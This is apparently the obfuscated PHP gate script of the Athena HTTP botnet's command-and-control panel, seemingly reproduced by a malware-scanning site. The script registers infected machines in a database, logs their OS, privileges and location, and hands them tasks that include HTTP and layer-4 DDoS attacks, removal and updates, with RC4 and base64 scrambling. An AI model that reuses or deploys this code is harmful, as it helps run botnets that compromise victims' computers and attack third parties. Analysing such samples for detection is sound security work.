}
["xwegjquh"]="result";
${
"GLOBALS"
}
["iejpngm"]="FILES";
${
"GLOBALS"
}
["qoxugy"]="EXISTS";
${
"GLOBALS"
}
["hjucdtpig"]="TIME";
${
"GLOBALS"
}
["nhkuxlw"]="BUSY";
${
"GLOBALS"
}
["ejhiyetb"]="CORES";
${
"GLOBALS"
}
["nrtxrnb"]="OS";
${
"GLOBALS"
}
["kjqbehc"]="NEW";
${
"GLOBALS"
}
["mwouxbguun"]="VER";
${
"GLOBALS"
}
["cjcsojjl"]="RETURN";
${
"GLOBALS"
}
["wevpjw"]="TASKID";
${
"GLOBALS"
}
["vgtiie"]="TYPE";
${
"GLOBALS"
}
["ollgeo"]="REGKEY";
${
"GLOBALS"
}
["mfrnfcwhshc"]="KILLED";
${
"GLOBALS"
}
["eireqqpm"]="RAM";
${
"GLOBALS"
}
["ptfquqyrb"]="NET";
${
"GLOBALS"
}
["degwbdhitbt"]="GEND";
${
"GLOBALS"
}
["xugvwryw"]="ARCH";
${
"GLOBALS"
}
["ktzvske"]="PRIV";
${
"GLOBALS"
}
["avexnuubttl"]="UID";
${
"GLOBALS"
}
["jzcflvxer"]="TYPE";
${
"GLOBALS"
}
["nwikjujf"]="VALUE";
${
"GLOBALS"
}
["zrlbnutnx"]="KEY";
${
"GLOBALS"
}
["bnvojfgdqwt"]="DATA_PART";
${
"GLOBALS"
}
["jadbzkomq"]="TASKS_OUTPUT";
${
"GLOBALS"
}
["gqczphrp"]="KEY_strtr_ARR";
${
"GLOBALS"
}
["fgmeew"]="DATA";
${
"GLOBALS"
}
["irhxjrivii"]="BOTINFO";
${
"GLOBALS"
}
["xhhmlktubkx"]="row";
${
"GLOBALS"
}
["sovhua"]="KEY_strtr_ARR";
${
"GLOBALS"
}
["uxnmxvq"]="country";
error_reporting(E_ERROR|E_WARNING|E_PARSE);
define("AthenaHTTP","");
require_once"./config.php";
${
${
"GLOBALS"
}
["uxnmxvq"]
}
=getCountry(ip2long($_SERVER["REMOTE_ADDR"]));
${
"GLOBALS"
}
["qcwrwelh"]="DATA";
${
"GLOBALS"
}
["fxderjly"]="TASKS_OUTPUT";
${
"GLOBALS"
}
["sdksrmguypw"]="DATA";
if($_POST["a"]==NULL||$_POST["b"]==NULL||$_POST["c"]==NULL){
print"Location:".$_SERVER["REMOTE_ADDR"].":".${
${
"GLOBALS"
}
["uxnmxvq"]
}
[0];
die();
}
${
${
"GLOBALS"
}
["fxderjly"]
}
="";
${
"KEY_strtr"
}
=base64_decode(urldecode($_POST["a"]));
${
"KEY_strtr_ARR"
}
=explode(":",${
"KEY_strtr"
}
);
${
${
"GLOBALS"
}
["fgmeew"]
}
=urldecode($_POST["b"]);
${
"DATA"
}
=strtr(${
"DATA"
}
,${
${
"GLOBALS"
}
["gqczphrp"]
}
[1],${
${
"GLOBALS"
}
["sovhua"]
}
[0]);
${
"DATA"
}
=base64_decode(${
${
"GLOBALS"
}
["sdksrmguypw"]
}
);
${
"GLOBALS"
}
["xuimyisx"]="OUTDATAMARKER";
${
${
"GLOBALS"
}
["xuimyisx"]
}
=base64_encode(urldecode($_POST["c"]));
${
"DATA_ARR"
}
=explode("|",${
${
"GLOBALS"
}
["qcwrwelh"]
}
);
${
"INTERVAL"
}
=mysql_fetch_array(mysql_query("SELECT data FROM config WHERE value = 'knock';
"));
${
${
"GLOBALS"
}
["jadbzkomq"]
}
=base64_encode("|interval=".${
"INTERVAL"
}
["data"]."|")."\n";
foreach(${
"DATA_ARR"
}
as${
${
"GLOBALS"
}
["bnvojfgdqwt"]
}
){
if(${
${
"GLOBALS"
}
["bnvojfgdqwt"]
}
){
${
"GLOBALS"
}
["uyjardmkvxa"]="VALUE";
${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=explode(":",${
${
"GLOBALS"
}
["bnvojfgdqwt"]
}
);
${
"GLOBALS"
}
["exebtercd"]="KEY";
${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=${
"KEY"
}
[0];
${
"GLOBALS"
}
["dtidiwp"]="OS";
${
"GLOBALS"
}
["aobghoxfi"]="KEY";
${
${
"GLOBALS"
}
["nwikjujf"]
}
=explode(":",${
${
"GLOBALS"
}
["bnvojfgdqwt"]
}
);
${
"GLOBALS"
}
["wkkidjhxlqw"]="VALUE";
${
${
"GLOBALS"
}
["wkkidjhxlqw"]
}
=${
${
"GLOBALS"
}
["uyjardmkvxa"]
}
[1];
${
"GLOBALS"
}
["gpbubfsni"]="KEY";
${
"GLOBALS"
}
["kqmrnenys"]="KEY";
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="type")${
${
"GLOBALS"
}
["jzcflvxer"]
}
=${
"VALUE"
};
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="uid")${
${
"GLOBALS"
}
["avexnuubttl"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
${
"GLOBALS"
}
["mqwkswsn"]="VALUE";
${
"GLOBALS"
}
["qxktttetg"]="VER";
if(${
"KEY"
}
=="priv")${
${
"GLOBALS"
}
["ktzvske"]
}
=${
"VALUE"
};
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="arch")${
${
"GLOBALS"
}
["xugvwryw"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="gend")${
${
"GLOBALS"
}
["degwbdhitbt"]
}
=${
"VALUE"
};
${
"GLOBALS"
}
["rsxlprwb"]="KEY";
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="cores")${
"CORES"
}
=${
"VALUE"
};
${
"GLOBALS"
}
["abwgbzaw"]="NEW";
if(${
${
"GLOBALS"
}
["kqmrnenys"]
}
=="os")${
${
"GLOBALS"
}
["dtidiwp"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
if(${
"KEY"
}
=="ver")${
${
"GLOBALS"
}
["qxktttetg"]
}
=${
"VALUE"
};
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="net")${
${
"GLOBALS"
}
["ptfquqyrb"]
}
=${
${
"GLOBALS"
}
["mqwkswsn"]
};
if(${
${
"GLOBALS"
}
["aobghoxfi"]
}
=="new")${
${
"GLOBALS"
}
["abwgbzaw"]
}
=${
"VALUE"
};
${
"GLOBALS"
}
["pudncigyvj"]="BUSY";
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="ram")${
${
"GLOBALS"
}
["eireqqpm"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
if(${
${
"GLOBALS"
}
["exebtercd"]
}
=="bk_killed")${
${
"GLOBALS"
}
["mfrnfcwhshc"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
if(${
${
"GLOBALS"
}
["rsxlprwb"]
}
=="bk_files")${
"FILES"
}
=${
"VALUE"
};
if(${
${
"GLOBALS"
}
["zrlbnutnx"]
}
=="bk_keys")${
${
"GLOBALS"
}
["ollgeo"]
}
=${
"VALUE"
};
if(${
"KEY"
}
=="busy")${
${
"GLOBALS"
}
["pudncigyvj"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
if(${
${
"GLOBALS"
}
["gpbubfsni"]
}
=="taskid")${
${
"GLOBALS"
}
["wevpjw"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
if(${
"KEY"
}
=="return")${
${
"GLOBALS"
}
["cjcsojjl"]
}
=${
${
"GLOBALS"
}
["nwikjujf"]
};
}
}
if(!${
"UID"
}
)${
${
"GLOBALS"
}
["jadbzkomq"]
}
=base64_encode("|ERROR_NOT_IN_DB|")."\n".${
"TASKS_OUTPUT"
};
${
"GLOBALS"
}
["svvesyjws"]="BOTINFO";
if(${
${
"GLOBALS"
}
["jzcflvxer"]
}
=="on_exec"){
${
"EXISTS"
}
=(mysql_num_rows(mysql_query("SELECT id FROM botlist WHERE botid = '".${
${
"GLOBALS"
}
["avexnuubttl"]
}
."' LIMIT 1;
"))!=0);
if(!${
"EXISTS"
}
){
${
"GLOBALS"
}
["yiwzkh"]="NEW";
${
"GLOBALS"
}
["xynyvhhsiq"]="PRIV";
${
"GLOBALS"
}
["lhzyfvta"]="OS";
${
"GLOBALS"
}
["ujuxrnnvg"]="BUSY";
${
"GLOBALS"
}
["titttxyt"]="ARCH";
${
"GLOBALS"
}
["izbwgbghp"]="country";
mysql_query("DELETE FROM botlist WHERE ip = '".$_SERVER["REMOTE_ADDR"]."';
");
mysql_query("INSERT INTO botlist SET botid='".mysql_real_escape_string(${
"UID"
}
)."', newbot='".mysql_real_escape_string(${
${
"GLOBALS"
}
["yiwzkh"]
}
)."', country='".mysql_real_escape_string(${
${
"GLOBALS"
}
["izbwgbghp"]
}
[0])."', country_code='".mysql_real_escape_string(${
${
"GLOBALS"
}
["uxnmxvq"]
}
[1])."', ip='".mysql_real_escape_string($_SERVER["REMOTE_ADDR"])."', os='".getOS(${
${
"GLOBALS"
}
["lhzyfvta"]
}
)."', cpu='".(${
${
"GLOBALS"
}
["titttxyt"]
}
=="x64"?"0":"1")."', type='".(${
"GEND"
}
=="laptop"?"0":"1")."', cores='".mysql_real_escape_string(${
"CORES"
}
)."', version='".mysql_real_escape_string(${
${
"GLOBALS"
}
["mwouxbguun"]
}
)."', net='".mysql_real_escape_string(${
${
"GLOBALS"
}
["ptfquqyrb"]
}
)."', admin='".(${
${
"GLOBALS"
}
["xynyvhhsiq"]
}
=="admin"?"1":"0")."', busy='".(${
${
"GLOBALS"
}
["ujuxrnnvg"]
}
=="true"?"1":"0")."', lastseen='".${
"TIME"
}
."';
");
}
else{
${
"GLOBALS"
}
["gjnwwyhg"]="NET";
mysql_query("UPDATE botlist SET ip='".mysql_real_escape_string($_SERVER["REMOTE_ADDR"])."', newbot='".mysql_real_escape_string(${
${
"GLOBALS"
}
["kjqbehc"]
}
)."', country='".mysql_real_escape_string(${
${
"GLOBALS"
}
["uxnmxvq"]
}
[0])."', country_code='".mysql_real_escape_string(${
${
"GLOBALS"
}
["uxnmxvq"]
}
[1])."', os='".getOS(${
${
"GLOBALS"
}
["nrtxrnb"]
}
)."', cpu='".(${
"ARCH"
}
=="x64"?"0":"1")."', type='".(${
"GEND"
}
=="laptop"?"0":"1")."', cores='".mysql_real_escape_string(${
${
"GLOBALS"
}
["ejhiyetb"]
}
)."', version='".mysql_real_escape_string(${
"VER"
}
)."', net='".mysql_real_escape_string(${
${
"GLOBALS"
}
["gjnwwyhg"]
}
)."', admin='".(${
${
"GLOBALS"
}
["ktzvske"]
}
=="admin"?"1":"0")."', busy='".(${
${
"GLOBALS"
}
["nhkuxlw"]
}
=="true"?"1":"0")."', lastseen='".${
${
"GLOBALS"
}
["hjucdtpig"]
}
."' WHERE botid='".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."';
");
}
}
else if(${
"TYPE"
}
=="repeat"){
${
"GLOBALS"
}
["jidexmqohy"]="country";
${
${
"GLOBALS"
}
["qoxugy"]
}
=(mysql_num_rows(mysql_query("SELECT id FROM botlist WHERE botid = '".${
${
"GLOBALS"
}
["avexnuubttl"]
}
."' LIMIT 1;
"))!=0);
${
"GLOBALS"
}
["ysuyoer"]="RAM";
if(!${
${
"GLOBALS"
}
["qoxugy"]
}
)${
${
"GLOBALS"
}
["jadbzkomq"]
}
=base64_encode("|ERROR_NOT_IN_DB|")."\n".${
${
"GLOBALS"
}
["jadbzkomq"]
};
mysql_query("UPDATE botlist SET ip='".mysql_real_escape_string($_SERVER["REMOTE_ADDR"])."', country='".mysql_real_escape_string(${
"country"
}
[0])."', country_code='".mysql_real_escape_string(${
${
"GLOBALS"
}
["jidexmqohy"]
}
[1])."', ram='".mysql_real_escape_string(${
${
"GLOBALS"
}
["ysuyoer"]
}
)."', botskilled='".mysql_real_escape_string(${
${
"GLOBALS"
}
["mfrnfcwhshc"]
}
)."', files='".mysql_real_escape_string(${
${
"GLOBALS"
}
["iejpngm"]
}
)."', regkey='".mysql_real_escape_string(${
${
"GLOBALS"
}
["ollgeo"]
}
)."', busy='".(${
${
"GLOBALS"
}
["nhkuxlw"]
}
=="true"?"1":"0")."', lastseen='".${
"TIME"
}
."' WHERE botid='".mysql_real_escape_string(${
"UID"
}
)."';
");
}
else if(${
${
"GLOBALS"
}
["vgtiie"]
}
=="response"){
${
${
"GLOBALS"
}
["xwegjquh"]
}
=mysql_query("SELECT task FROM tasks WHERE id = '".mysql_real_escape_string(${
${
"GLOBALS"
}
["wevpjw"]
}
)."' LIMIT 1;
");
if(${
${
"GLOBALS"
}
["xwegjquh"]
}
){
${
"GLOBALS"
}
["qwsbcmvrmrxs"]="row";
${
"row"
}
=mysql_fetch_array(${
"result"
}
);
if(${
${
"GLOBALS"
}
["qwsbcmvrmrxs"]
}
["task"]=="!uninstall"||${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
["task"]=="!download.update"){
mysql_query("DELETE FROM botlist WHERE botid = '".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."';
");
}
}
if(${
${
"GLOBALS"
}
["cjcsojjl"]
}
){
${
"GLOBALS"
}
["esnrltc"]="result";
${
${
"GLOBALS"
}
["xwegjquh"]
}
=mysql_query("SELECT parameter FROM tasks WHERE id='".mysql_real_escape_string(${
${
"GLOBALS"
}
["wevpjw"]
}
)."' LIMIT 1;
");
if(mysql_num_rows(${
${
"GLOBALS"
}
["esnrltc"]
}
)==1){
${
"GLOBALS"
}
["eyppsl"]="row";
${
${
"GLOBALS"
}
["eyppsl"]
}
=mysql_fetch_array(${
${
"GLOBALS"
}
["xwegjquh"]
}
);
${
"GLOBALS"
}
["fggdpgqleq"]="RETURN";
mysql_query("INSERT INTO webcheck SET botid='".mysql_real_escape_string(${
"UID"
}
)."', status='".mysql_real_escape_string(${
${
"GLOBALS"
}
["fggdpgqleq"]
}
)."', website='".mysql_real_escape_string(${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
["parameter"])."';
");
}
}
mysql_query("INSERT INTO tasks_done SET botid='".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."', taskid='".mysql_real_escape_string(${
${
"GLOBALS"
}
["wevpjw"]
}
)."';
");
}
else{
die();
}
${
${
"GLOBALS"
}
["rfskcjojdwr"]
}
=mysql_fetch_array(mysql_query("SELECT country, os, cpu, type, version, net, admin, busy FROM botlist WHERE botid = '".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."' LIMIT 1;
"));
${
${
"GLOBALS"
}
["xwegjquh"]
}
=mysql_query(" SELECT id, task, parameter FROM tasks \n\t\t\t\t\t\t\tWHERE\n\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\ttasks.id <> \n\t\t\t\t\t\t\t\t\tALL\n\t\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t\tSELECT tasks_done.taskid FROM tasks_done WHERE tasks_done.botid = '".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."'\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tAND \n\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t(tasks.limit > ALL(SELECT Count(*) FROM tasks_done WHERE tasks_done.taskid = tasks.id)) OR\n\t\t\t\t\t\t\t\t\t(tasks.limit = '*')\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tAND \n\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t(tasks.country = '*' OR tasks.country LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["rfskcjojdwr"]
}
["country"])."%') AND\n\t\t\t\t\t\t\t\t\t(tasks.os = '*' OR tasks.os LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["rfskcjojdwr"]
}
["os"])."%') AND\n\t\t\t\t\t\t\t\t\t(tasks.cpu = '*' OR tasks.cpu LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["rfskcjojdwr"]
}
["cpu"])."%') AND\n\t\t\t\t\t\t\t\t\t(tasks.type = '*' OR tasks.type LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["svvesyjws"]
}
["type"])."%') AND\n\t\t\t\t\t\t\t\t\t(tasks.version = '*' OR tasks.version LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["irhxjrivii"]
}
["version"])."%') AND\n\t\t\t\t\t\t\t\t\t(tasks.net = '*' OR tasks.net LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["rfskcjojdwr"]
}
["net"])."%') AND\n\t\t\t\t\t\t\t\t\t(tasks.admin = '*' OR tasks.admin LIKE '%".mysql_real_escape_string(${
${
"GLOBALS"
}
["rfskcjojdwr"]
}
["admin"])."%') AND \n\t\t\t\t\t\t\t\t\t(tasks.botid = '*' OR tasks.botid = '".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."') AND \n\t\t\t\t\t\t\t\t\t(tasks.task NOT LIKE '!ddos.http%') AND\n\t\t\t\t\t\t\t\t\t(tasks.task NOT LIKE '!ddos.layer4%')\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t);
");
while(${
${
"GLOBALS"
}
["xhhmlktubkx"]
}
=mysql_fetch_array(${
"result"
}
)){
${
"GLOBALS"
}
["imujbuakf"]="row";
${
"GLOBALS"
}
["fkinwgm"]="row";
${
${
"GLOBALS"
}
["jadbzkomq"]
}
.=base64_encode("|taskid=".${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
["id"]."|command=".${
${
"GLOBALS"
}
["fkinwgm"]
}
["task"].(${
${
"GLOBALS"
}
["imujbuakf"]
}
["parameter"]!=""?" ".${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
["parameter"]:"")."|")."\n";
}
if(${
"BOTINFO"
}
["busy"]==0){
${
"GLOBALS"
}
["ruuhetujl"]="row";
${
${
"GLOBALS"
}
["xwegjquh"]
}
=mysql_query(" SELECT id, task, parameter FROM tasks\n\t\t\t\t\t\t\t\tWHERE\n\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t\ttasks.id <> \n\t\t\t\t\t\t\t\t\t\tALL\n\t\t\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t\t\tSELECT tasks_done.taskid FROM tasks_done WHERE tasks_done.botid = '".mysql_real_escape_string(${
${
"GLOBALS"
}
["avexnuubttl"]
}
)."'\n\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\tAND\n\t\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t\t(tasks.task NOT LIKE '!ddos.browser%') AND\n\t\t\t\t\t\t\t\t\t\t(tasks.task != '!ddos.stop') AND\n\t\t\t\t\t\t\t\t\t\t(tasks.task LIKE '!ddos.%')\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tLIMIT 1;
");
while(${
${
"GLOBALS"
}
["ruuhetujl"]
}
=mysql_fetch_array(${
${
"GLOBALS"
}
["xwegjquh"]
}
)){
${
"GLOBALS"
}
["lkqpjwg"]="row";
${
"TASKS_OUTPUT"
}
.=base64_encode("|taskid=".${
${
"GLOBALS"
}
["lkqpjwg"]
}
["id"]."|command=".${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
["task"].(${
"row"
}
["parameter"]!=""?" ".${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
["parameter"]:"")."|")."\n";
}
}
print${
${
"GLOBALS"
}
["xnjlqmg"]
}
.strtr(base64_encode(${
${
"GLOBALS"
}
["jadbzkomq"]
}
),${
${
"GLOBALS"
}
["gqczphrp"]
}
[0],${
${
"GLOBALS"
}
["gqczphrp"]
}
[1]);
function getOS($OS){
switch(${
${
"GLOBALS"
}
["nrtxrnb"]
}
){
case"UNKW":return"Unknown";
case"W_2K":return"Windows 2000";
case"W_XP":return"Windows XP";
case"W2K3":return"Windows 2003";
case"WVIS":return"Windows Vista";
case"WIN7":return"Windows 7";
case"WIN8":return"Windows 8";
case"ERRO":return"Unknown";
default:return"Unknown";
}
}
function getCountry($ip2long){
${
"result"
}
=mysql_query("SELECT country_name, country_code FROM ip_country WHERE '".mysql_real_escape_string(${
"ip2long"
}
)."' BETWEEN ip_start_long AND ip_end_long LIMIT 1;
");
if(mysql_num_rows(${
"result"
}
)==0){
return array("Unknown","00");
}
else{
${
"GLOBALS"
}
["bjpwouxwnmj"]="row";
${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
=mysql_fetch_array(${
"result"
}
);
return array(${
${
"GLOBALS"
}
["znoepjnqpjh"]
}
[0],${
${
"GLOBALS"
}
["bjpwouxwnmj"]
}
[1]);
}
}
function rc4($data,$pwd){
${
"GLOBALS"
}
["ycqkbmfytubw"]="data_length";
${
"GLOBALS"
}
["artwxrgtll"]="i";
${
"GLOBALS"
}
["ogbxppcle"]="i";
${
${
"GLOBALS"
}
["pljmbdgdrb"]
}
[]="";
${
"GLOBALS"
}
["hvqtxsyc"]="i";
${
"GLOBALS"
}
["vkhwqoe"]="i";
${
"GLOBALS"
}
["jwewmg"]="i";
${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[]="";
${
"GLOBALS"
}
["qopvsqqnkouw"]="j";
${
${
"GLOBALS"
}
["pcdmlxkotoue"]
}
="";
${
${
"GLOBALS"
}
["zwteygev"]
}
=strlen(${
${
"GLOBALS"
}
["tislmwd"]
}
);
${
${
"GLOBALS"
}
["ycqkbmfytubw"]
}
=strlen(${
${
"GLOBALS"
}
["kfjybevgp"]
}
);
for(${
${
"GLOBALS"
}
["texqzbf"]
}
=0;
${
${
"GLOBALS"
}
["jwewmg"]
}
<256;
${
${
"GLOBALS"
}
["hvqtxsyc"]
}
++){
${
"GLOBALS"
}
["ilwqrxahy"]="pwd";
${
"GLOBALS"
}
["pketlqc"]="i";
${
"GLOBALS"
}
["nyujqmztknu"]="i";
${
"GLOBALS"
}
["tnuodccme"]="i";
${
${
"GLOBALS"
}
["pljmbdgdrb"]
}
[${
${
"GLOBALS"
}
["texqzbf"]
}
]=ord(${
${
"GLOBALS"
}
["ilwqrxahy"]
}
[${
${
"GLOBALS"
}
["pketlqc"]
}
%${
${
"GLOBALS"
}
["zwteygev"]
}
]);
${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["nyujqmztknu"]
}
]=${
${
"GLOBALS"
}
["tnuodccme"]
};
}
for(${
${
"GLOBALS"
}
["tqriekvfhw"]
}
=${
${
"GLOBALS"
}
["vkhwqoe"]
}
=0;
${
"i"
}
<256;
${
${
"GLOBALS"
}
["artwxrgtll"]
}
++){
${
"GLOBALS"
}
["ncygaiwinn"]="key";
${
"GLOBALS"
}
["rxhutvka"]="j";
${
${
"GLOBALS"
}
["tqriekvfhw"]
}
=(${
${
"GLOBALS"
}
["rxhutvka"]
}
+${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
"i"
}
]+${
${
"GLOBALS"
}
["ncygaiwinn"]
}
[${
${
"GLOBALS"
}
["texqzbf"]
}
])%256;
${
"GLOBALS"
}
["effccqiq"]="tmp";
${
${
"GLOBALS"
}
["effccqiq"]
}
=${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["texqzbf"]
}
];
${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
"i"
}
]=${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["tqriekvfhw"]
}
];
${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["tqriekvfhw"]
}
]=${
"tmp"
};
}
for(${
${
"GLOBALS"
}
["cvgpsyshw"]
}
=${
${
"GLOBALS"
}
["qopvsqqnkouw"]
}
=${
${
"GLOBALS"
}
["texqzbf"]
}
=0;
${
"i"
}
<${
"data_length"
};
${
${
"GLOBALS"
}
["ogbxppcle"]
}
++){
${
"GLOBALS"
}
["sywdhvvrqex"]="j";
${
"GLOBALS"
}
["frurufv"]="a";
${
"GLOBALS"
}
["yekmurwyog"]="box";
${
"GLOBALS"
}
["ixmyfyusbv"]="box";
${
"GLOBALS"
}
["ckeqldwpb"]="tmp";
${
${
"GLOBALS"
}
["cvgpsyshw"]
}
=(${
${
"GLOBALS"
}
["cvgpsyshw"]
}
+1)%256;
${
"GLOBALS"
}
["wjfcrc"]="i";
${
${
"GLOBALS"
}
["tqriekvfhw"]
}
=(${
"j"
}
+${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["cvgpsyshw"]
}
])%256;
${
${
"GLOBALS"
}
["ckeqldwpb"]
}
=${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
"a"
}
];
${
"box"
}
[${
${
"GLOBALS"
}
["frurufv"]
}
]=${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["tqriekvfhw"]
}
];
${
${
"GLOBALS"
}
["yekmurwyog"]
}
[${
${
"GLOBALS"
}
["sywdhvvrqex"]
}
]=${
${
"GLOBALS"
}
["zirhvwbajhq"]
};
${
"GLOBALS"
}
["lktzvwegn"]="k";
${
${
"GLOBALS"
}
["vfeill"]
}
=${
${
"GLOBALS"
}
["ixmyfyusbv"]
}
[((${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["cvgpsyshw"]
}
]+${
${
"GLOBALS"
}
["lbrihcgotmm"]
}
[${
${
"GLOBALS"
}
["tqriekvfhw"]
}
])%256)];
${
"cipher"
}
.=chr(ord(${
"data"
}
[${
${
"GLOBALS"
}
["wjfcrc"]
}
])^${
${
"GLOBALS"
}
["lktzvwegn"]
}
);
}
return${
${
"GLOBALS"
}
["pcdmlxkotoue"]
};
}
© 2021 Quttera Ltd. All rights reserved.